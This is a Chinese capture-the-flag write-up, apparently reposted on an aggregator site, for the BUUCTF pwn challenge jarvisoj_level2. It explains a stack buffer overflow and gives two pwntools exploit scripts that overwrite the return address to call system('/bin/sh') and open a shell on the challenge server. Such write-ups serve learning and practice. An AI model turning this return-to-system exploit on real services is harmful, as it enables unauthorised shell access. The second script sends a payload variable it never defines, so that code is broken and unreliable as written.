buuctf.pwn.jarvisoj_level2
Posted 腹有诗书气自华, 敢拿卧槽走天下
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf.pwn.jarvisoj_level2相关的知识,希望对你有一定的参考价值。
这个题目,是缓冲区溢出
检测一下
No canary found : 可以看出没有栈保护
NO PIE: 没有地址随机化
然后分析题目
这一次我在网上看到了不同的解法,但是基本思路是一致的
主要看一下这个溢出
ssize_t vulnerable_function()
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 256u);
可溢出的长度是256字节
然后我们能一般构造的长度是0x88+4+...
也就是差不多我们输入的字节数是140,距离256还是差很远的距离
所以我们就快乐的溢出吧
然乎本题目刚好有一些为我们提前准备好的条件
system 的jmp
system 的call
system 在libc的地址指向
/bin/sh 在libc的地址指向
修改rip到call system
的时候
于是我们对栈的构造就是
ESP+0: /bin/sh字符串地址
当 call system 后
ESP+0: 返回的RIP
ESP+4: /bin/sh字符串地址
from pwn import*
host=\'node4.buuoj.cn\'
port=29279
p=remote(host,port)
#p=process(\'./level2\')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
call_system=0x0804849E # system的call
p.recvuntil(\'Input:\\n\')
payload_call_system=b\'\\0\'*(0x88+4)+p32(call_system)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()
如果我们去call system的话
直接去往 jmp system
那么我们的堆栈应该保持一致
也就是提前的对返回的rip做一个填充
ESP+0: 一个对RIP的填充为0
ESP+4: /bin/sh字符串地址
from pwn import*
host=\'node4.buuoj.cn\'
port=29279
p=remote(host,port)
#p=process(\'./level2\')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
jmp_system=0x08048320 # system的jmp
ret_padding=0
p.recvuntil(\'Input:\\n\')
payload_jmp_system=b\'\\0\'*(0x88+4)+p32(jmp_system)+p32(ret_padding)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()
以上是关于buuctf.pwn.jarvisoj_level2的主要内容,如果未能解决你的问题,请参考以下文章